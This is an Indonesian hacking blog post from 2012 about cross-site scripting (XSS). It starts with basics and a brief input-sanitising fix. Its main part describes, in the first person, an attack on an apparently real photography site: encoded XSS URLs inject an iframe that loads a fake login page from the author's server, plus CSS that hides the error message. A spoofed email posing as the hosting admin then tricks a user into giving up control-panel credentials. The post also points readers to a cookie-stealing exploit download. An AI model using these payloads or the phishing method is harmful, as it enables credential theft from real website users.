Sabtu, 07 April 2012

Having Fun With Cross Site Scripting (XSS) + POC Pencurian Password

  
...oO---(O) Preface
 
Cross Site Scripting, XSS, serangan web sederhana yang banyak diremehkan oleh user. Ya, banyak orang menganggapnya sebagai serangan yang tidak berbahaya. Kali ini saya akan memandu anda untuk bermain-main dengan XSS dan bagaimana memanfaatkannya untuk mencuri informasi-informasi sensitif dari user, dalam hal ini saya contohkan untuk mencuri password.

Enjoy... ;)
 
 
  
...oO---(0) All About XSS
  
---( Apa itu XSS?
 
XSS merupakan kepanjangan dari Cross Site Scripting. Lho, kok disingkat menjadi XSS?? Bukannya CSS?? Ya, sebenarnya sama saja, namun CSS lebih dikenal sebagai singkatan dari Cascading Style Sheet, karena itulah kini disingkat XSS. Menurut Wikipedia versi saya :D definisi XSS ialah:

"Salah satu jenis serangan web yang dilakukan dengan memanfaatkan kelemahan pada suatu aplikasi web sehingga memungkinkan `bad guys` untuk menginjeksikan suatu tag HTML ataupun Client Side Script pada aplikasi web tersebut dikarenakan adanya variabel yang tidak disanitasi dengan baik."
 
Logika dari serangan XSS bisa digambarkan demikian.. Ketika anda memasukkan suatu kata di search engine, misalnya saja anda mengetikkan SPYROZONE, maka apa yang anda ketikkan akan ditampilkan pada hasil pencarian, dalam hal ini kata SPYROZONE akan ditampilkan. Biasanya berupa kata-kata:
 
Found 599898 Search Result which contain "SPYROZONE"
 
atau yang mirip dengan itu, lalu diikuti hasil pencarian. Nah, itu jika kita menginputkan text biasa. Coba anda inputkan tag HTML, misalnya saja:

SPYROZONE


 
Jika kemudian kata SPYROZONE berubah menjadi berukuran jumbo seperti ini:
  
 
Found 599898 Search Result which contain "

SPYROZONE

"
 
Maka berarti pada situs tersebut terdapat kelemahan XSS. Hasil injeksi yang dilakukan attacker tentu saja hanya dapat dilihat oleh si Attacker sendiri karena bersifat temporary.

Contoh potongan kode dari siatu apliaksi web yang tidak tersanitasi dengan baik dapat digambarkan seperti berikut ini:

$page = $_GET['id'];
echo "Anda berada di halaman " . $page . " Artikel dan Trik";

Nah, misalnya nama halaman yang mengandung script diatas ialah spyro.php, maka halaman tersebut dapat diinjeksi dengan serangan sederhana:

http://korban.net/spyro.php?id=

HELLO ZONERS



 

---( Script apa saja yang bisa diinjeksikan?

Dalam melakukan XSS, Anda dapat menginjeksikan tag HTML, Java Script atau Script Client Side lainnya, tergantung dari kreatifitas anda dan selemah apa sanitasi pada aplikasi web tersebut. Hanya HTML? Bagaimana dengan script server side?? Tidak bisa, anda tidak bisa melakukan injeksi dengan script Server Side seperti PHP, ASP dan yang sejenisnya. Beberapa contoh script yang dapat anda uji coba untuk diinjeksikan antara lain:

;


')alert('spyrozone');
");alert('spyrozone');



  
Contoh-contoh diatas akan memberikan hasil yang sama, yaitu menampilkan sebuah message box. Variasi-variasi yang diberikan dalam melakukan penulisan bertujuan untuk melewati filtering yang dilakukan oleh developer. Contoh pada baris kedelapan ialah salah satu cara yang paling sering dilakukan untuk melewati filtering, yaitu dengan menconvert karakter menjadi ASCII.

Kode Java Script yang anda injeksikan tidak harus berupa mesage BOX. Misalnya saja anda ingin membuak suatu halaman baru menuju spyrozone.net ketika halaman yang diinjeksi di laod oleh user, maka anda bisa menginjeksikan script berikut:
 
 
Seperti yang sudah dicontohkan di awal pembahasan artikel ini, Anda juga bisa menginjeksikan tag-tag HTML. Misalnya saja:

spyrozone


spyrozone


Anda juga bisa menginjeksikan script yang akan menampilkan animasi Flash, me-load file-file musik, dan lain sebagainya, sesuai dengan kreatifitas anda.

 
     
---( Target Injeksi & Sifat Hasil Injeksi

Hasil injeksi yang anda lakukan memiliki 2 sifat tergantung dimana anda melakukan injeksi serangan XSS. Jika anda melakukannya pada suatu variabel yang hanya melewatkan parameter tanpa menyimpannya di database, maka hasilnya hanya bersifat temporary (sementara). Misalnya saja pada search engine, atau ketika anda menginjeksikan melalui URL yang hanya melewatkan parameter. Contoh serangan sederhana:
 
http://korban.com/find.php?q=

Nah, jika kemudian muncul kotak pesan yang berbunyi "TEST", maka berarti situs tersebut rentan terhadap serangan XSS, namun hanya bersifat temporary.

Akan tetapi apabila anda menemukan kelemahan ini pada Guest Book, Shout Book, Forum, Blog dan yang sejenisnya, maka hasil serangan anda akan bersifat permanen karena script yang anda injeksikan tersimpan didalam database.
 
Nah, apabila anda menemukan situs yang dapat diinject secara permanen, maka hal paling menyenangkan yang dapat dilakukan ialah mencuri Cookies pengunjung situs tersebut untuk kemudian meng-Hijack Accountnnya. Bagaimana caranya?? Download ajah pencuri Cookies di Member Area spyroZONE.NET kategori EXPLOIT. Didalamnya ada exploit plus tutorial singkat yang bisa anda pelajari.

 
     
---( Bagaimana Solusi Untuk Menghindari XSS?

Sederhana, sanitasikan selalu variabel-variabel anda agar user tidak seenaknya dapat menginputkan dan memodifikasi parameter. Misalnya pada script yang telah saya contohkan tadi:
 
$page = $_GET['id'];
echo "Anda berada di halaman " . $page . " Artikel dan Trik - www.spyrozone.net";
 
Variabel $page perlu disanitasikan sehingga parameter yang dapat diinputkan hanya bertipe data integer. Jika nantinya parameter yang diberikan bukan integer, maka return yang diberikan ialah 0. Contoh sanitasi untuk kasus ini ialah:

$page = (int)$_GET['id'];
echo "Anda berada di halaman " . $page . " Artikel dan Trik - www.spyrozone.net";

Sederhana bukan? Ada banyak sekali tehnik sanitasi yang bisa anda terapkan, tergantung dari aplikasi web anda.

 
   
  
...oO---(0) POC XSS Untuk Pencurian Password

Jika anda masih menganggap XSS yang bersifat temporary tidak berbahaya, maka kini saatnya untuk membuka mata lebar-lebar. Saya akan menunjukkan kepada anda betapa berbahayanya XSS ketika jatuh di tangan `mahluk gokil` yang tepat ;D

Well.. suatu ketika saya berjalan-jalan ke suatu situs fotografi, katakanlah namanya http://korban-spyrozone.net (bukan alamat sebenarnya, alamat korban sengaja dipalsukan ^_^ Googling ajah, pasti ketemu kok ^_^ )

Setelah asyik berjalan-jalan disana, saya menemukan sebuah struktur URL menarik:

http://korban-spyrozone.net/?c=11
 

 
Hmm.. iseng-iseng, saya hapus angka 11 yang dilewatkan, kemudian saya ganti dengan script sederhana, sehingga strukturnya kemudian berubah menjadi demikian:

http://korban-spyrozone.net/?c=

SPYROZONE.NET



Hasilnya:
 
 
weW.. tERnyata kemudian keluar pesan ERROR yang menyatakan bahwa halaman dengan ID SPYROZONE.NET tidak ada. Namun ada hal menarik dalam pesan ERROR tersebut yaitu: TAG HTML SAYA DIEKSEKUSI!! Terbukti dengan tampilnya teks SPYROZONE.NET dalam halaman tersebut dengan format teks jumbo HEADING 1.

Hmm.. lalu apa lagi? Saya coba untuk menginjeksikan tag IFRAME yang akan memanggil halaman NOTEPAD spyrozone.net

http://korban-spyrozone.net/?c=
src= "http://spyrozone.net/notepad.html" width="267" height="312">iframe
>

Hasilnya:
 
 
Yeah, tampil iframe kecil di tengah-tengah halaman tersebut. Nah, sekarang saya akan coba apakah script CSS juga akan di load. Saya menginjeksikan script CSS website saya dengan mengubah URL situs tersebut menjadi demikian:
 
http://korban-spyrozone.net/?c=<link rel="stylesheet" type="text/css" href= "http://spyrozone.net/css/css.css">

Hasilnya:
 

Fufufufu.. seperti yang anda lihat, script CSS saya di Load ^_^ background halaman situs tersebut berubah menjadi hitam, fontnya juga berubah menjadi hijau menyala seperti font situs saya ;)

Well saya kemudian membuat sebuah halaman login palsu yang saya upload di web hosting saya. Jika ada user yang menginputkan username dan password di halaman tersebut, maka username dan passwordnya akan tersimpan di database saya. Saya kemudian memadukan halaman login palsu tersebut dengan tag IFRAME untuk diinjeksikan terhadap situs korban sehingga URLnya kemudian berubah menjadi demikian:

http://korban-spyrozone.net/?c=
src="http://spyrozone.net/login.php" width="267" height="312">iframe
>


Hasilnya:
 

 
Yey..! Dieksekusi euy.. tampil halaman login palsu dalam IFRAME!! Tapi.. upz.. khan ada pesan ERROR nya.. target nantinya pasti curiga dunkz.. Hmm.. okay, saya kemudian memodifikasi layout halaman login tipuan agar tampak lebih meyakinkan. Gimana biar sama dengan layoutnya? Pertama-tama saya lihat source code halaman situs tersebut. Dari source code halaman itu saya menemukan nama class dari kotak yang menampilkan error message:
 
<div class="alert_msg">The requested category [cid = <br><iframe src="http://spyrozone.net/login.php" width="267" height="312">iframe><br>] does not exist!div>
 
Saya juga menemukan baris yang menunjukkan lokasi CSS yang sedang digunakan:
 

Well, dengan demikian maka saya langsung lompat menuju URL berikut untuk mengetahui source code CSS nya:
 
http://korban-spyrozone.net/css.php?theme=white
 
Hmm.. terlihat source code dari CSS website korban.
 

Perhatikan baris yang saya beri lingkaran merah pada Screen Shoot diatas:
 
.alert_msg { color: #444; letter-spacing: 1px; text-align: center; background: #AAA; width: 80%; margin: 5px auto 15px; padding: 10px 15px; border: 3px double  #999; }
 
Baris inilah yang membuat Error Message tampil dengan warna latar Silver dan warna Font Hitam. Saya menyimpan css tersebut pada komputer saya dengan nama css-modifikasi.css kemudian saya memodifikasi baris yang menghandle class alert_msg sehingga menjadi demikian:
 
.alert_msg { color: #AAA; letter-spacing: 1px; text-align: center; background: #AAA; width: 80%; margin: 5px auto 15px; padding: 10px 15px; border: 3px double  #999; }
 
Perhatikan bahwa warna font pesan error yang tampil ialah hitam, sementara Background pesan error tersebut berwarna Silver. Maka cara sederhana untuk menyembunyikan pesan Error tersebut agar tidak tampak ialah dengan mengubah warna font pesan Error menjadi sama dengan warna Backgroundnya, yaitu menjadi Silver. hehehe.. berterimakasih-lah pada Guru Taman Kanak-Kanak anda yang telah mengajari anda keterampilan menggambar dan mewarnai.. :D

Setelah melakukan modifikasi, saya simpan hasil perubahannya lalu saya upload file tersebut di webhosting saya. Sesudahnya, saya melakukan injeksi menggunakan tag LINK yang berfungsi me-load CSS hasil modifikasi tadi digabungkan dengan tag IFRAME yang berfungsi menampilkan halaman login tipuan sehingga kini halaman login tipuan tersebut tampak lebih meyakinkan ;) URL korban saya inject menjadi demikian:
 
http://korban-spyrozone.net/?c= href="http://spyrozone.net/css-modifikasi.css">

 
Saya berikan nilai "no" untuk scrolling pada tag IFRAME agar scrollbar tidak tampak, nilai 0 pada border dan frameborder menyebabkan IFRAME menjadi 'tersembunyi' sehingga halaman login tipuan benar-benar meyakinkan. Upaya terakhir agar halaman tersebut lebih meyakinkan lagi adalah dengan meng-encode URL sehingga menjadi demikian:
 
http://korban-spyrozone.net/?c=%3CLINK+rel%3D%22stylesheet%22+type%3D%
22text%2Fcss%22+href%3D%22http%3A%2F%2Fspyrozone.net%2Fcss-modifikasi.css%22%3E%3Cbr%
3E%3Ciframe+src%3D+%22http%3A%2F%2Fspyrozone.net%2Flogin.php%22+scrolling%3D%22no%
22+border%3D%220%22+frameborder%3D%220%22+width%3D%22267%22+height%3D%22150%22%3E%3C%
2Fiframe%3E%3Cbr%3E%3Cbr%3E
 
Hohoho.. coba anda perhatikan hasil injeksi berikut:
 

Yupz.. perfect sudah, ERROR message telah tersamarkan, border IFRAME juga telah lenyap. Saya kemudian melakukan social engineering dengan menggunakan Fakemail. Dalam email tersebut saya berpura-pura sebagai Admin Penyedia layanan webhosting target. Saya memberi informasi palsu dengan mengatakan bahwa telah terjadi Error pada Database sehingga user perlu untuk melakukan aktivasi ulang secepatnya. Jika tidak, maka data-data user terancam hilang. Untuk melakukan Aktivasi, maka saya menginstruksikan user agar melakukan klik terhadap link yang saya sertakan. Hehehe.. link tersebut tidak lain ialah link menuju halaman login tipuan yang telah saya encode untuk memperkecil kecurigaan user ^_^

Dan ternyata.. target tertipu ^_^ Ia kemudian memasukkan username dan password Control Panelnya pada halaman Login Tipuan tersebut. Maka beberapa hari kemudian..
 

 
BINGO...!! Game Over..!
 
 
 
...oO---(O) Penutup
  
Fyuh.. ternyata, kelemahan yang kelihatannya sepele bisa jadi hal yang sangat berbahaya. Tidak terbayang khan apabila hal ini menimpa situs sebuah Bank? Hmm.. tentunya memungkinkan sang Attacker untuk menipu para nasabah agar terjebak dalam sebuah formulir tipuan yang meminta nasabah menginputkan informasi-informasi sensitif yang berkaitan dengan rekeningnya, seperti yang menimpa salah satu bank di Italy beberapa waktu yang lalu x_x

Tetap waspada.. sanitasikan selalu variabel-variabel anda agar mahluk-mahluk gokil yang banyak bergentayangan di alam maya tidak memanfaatkannya untuk tindakan-tindakan yang merugikan anda dan memperpendek usia web anda ;)

Bubbay zoNERS.. keep learning and Happy Hacking!
    
 
/* ------------------------------|EOF|------------------------------ */

Tidak ada komentar:

Posting Komentar